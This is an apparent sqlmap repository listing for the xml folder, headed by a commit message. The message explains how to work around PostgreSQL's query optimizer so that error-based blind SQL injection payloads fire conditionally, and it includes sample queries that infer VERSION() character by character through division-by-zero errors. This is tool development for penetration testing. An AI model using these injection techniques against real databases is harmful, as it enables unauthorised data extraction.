sqlmap/xml
Timo Boettcher 4f84215eda Work around PostgreSQL query optimizer for error
Sadly, the mechanism triggering the error using CAST to integer on a
string did not work for me. This is probably caused by PostgreSQL
optimizing the query as described in
https://www.postgresql.org/docs/9.6/static/functions-conditional.html :

    "Note: As described in Section 4.2.14, there are various situations
    in which subexpressions of an expression are evaluated at different
    times, so that the principle that "CASE evaluates only necessary
    subexpressions" is not ironclad. For example a constant 1/0
    subexpression will usually result in a division-by-zero failure at
    planning time, even if it's within a CASE arm that would never be
    entered at run time."

My trivial test case for causing/not causing an error based on a
condition was:
------------------------------------------------------------------------
mytestdb=> SELECT CASE WHEN (1=1) THEN 1/1 ELSE 1/0 END;
    1

mytestdb=> SELECT CASE WHEN (1=2) THEN 1/1 ELSE 1/0 END;
ERROR:  division by zero
------------------------------------------------------------------------
As expected, the division by zero error is only triggered when the
condition is not met.

Second, dynamic, testcase (the first character of VERSION() has ASCII
code 80, so last condition is expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1));
    80
(1 row)
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>126) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>26) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
------------------------------------------------------------------------
However, the ELSE part is evaluated both when the condition is true and
when it is not true, as described in the documentation cited above.

This can be worked around by using an error that can not be detected by
static analysis (length of version() is about 100, so last condition is
expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT (CASE WHEN (char_length(version())<80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
    2

mytestdb=> SELECT (CASE WHEN (char_length(version())>80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
ERROR:  division by zero
------------------------------------------------------------------------
While we know that substring(X, 1, 1) will return 1 for any non-empty
string, the database engine is probably not able to optimize that away
based on the slight chance that VERSION() may return an empty string.

This has been used successfully on PostgreSQL 9.6.
2017-10-06 00:03:22 +02:00
..
banner Minor refactoring 2017-09-20 15:49:18 +02:00
payloads Work around PostgreSQL query optimizer for error 2017-10-06 00:03:22 +02:00
boundaries.xml Cleaning some garbage boundaries (it doesn't make any sense to use %00 as prefix) 2016-06-23 22:57:59 +02:00
errors.xml Revisiting regexes for DBMS errors 2017-09-20 15:28:33 +02:00
livetests.xml Patching live-testing 2016-09-19 15:51:28 +02:00
queries.xml Fixes #2387 2017-07-06 11:44:18 +02:00